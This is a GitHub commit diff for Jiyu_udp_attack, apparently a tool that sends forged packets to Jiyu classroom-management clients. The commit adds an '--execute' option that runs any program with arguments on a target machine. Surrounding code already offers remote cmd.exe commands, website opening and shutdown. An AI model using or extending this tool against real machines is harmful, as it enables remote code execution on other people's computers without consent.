Skip to content

Commit 617b380

Browse files
committed
feat: Add execute argument in attack action
1 parent 6bb3beb commit 617b380

File tree

1 file changed

+19
-0
lines changed

1 file changed

+19
-0
lines changed

Jiyu_udp_attack/__main__.py

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -140,6 +140,16 @@ def format_usage(self) -> str:
140140
metavar="command",
141141
help="Command to execute on the target",
142142
)
143+
temp = attack_action.add_argument(
144+
"-e",
145+
"--execute",
146+
nargs="+",
147+
default=None,
148+
action=ModeOptionalAction,
149+
modes=("minimize", "maximize"),
150+
metavar=("program", "args"),
151+
help="Execute a program with arguments on the target machine",
152+
)
143153
attack_action.add_argument(
144154
"-s",
145155
"--shutdown",
@@ -183,6 +193,15 @@ def format_usage(self) -> str:
183193
payload = pkg_website(args.website)
184194
elif args.command:
185195
payload = pkg_execute("cmd.exe", f'/D /C "{args.command}"', "minimize")
196+
elif args.execute:
197+
match args.execute:
198+
case [mode, [program]]:
199+
args_list = ""
200+
case [mode, [program, args_list]]:
201+
pass
202+
case _:
203+
parser.error("Invalid execute arguments: expected [program] or [program, args_list]")
204+
payload = pkg_execute(program, args_list, "normal" if mode is None else mode)
186205
elif args.shutdown is not None:
187206
match args.shutdown:
188207
case []:

0 commit comments

Comments
 (0)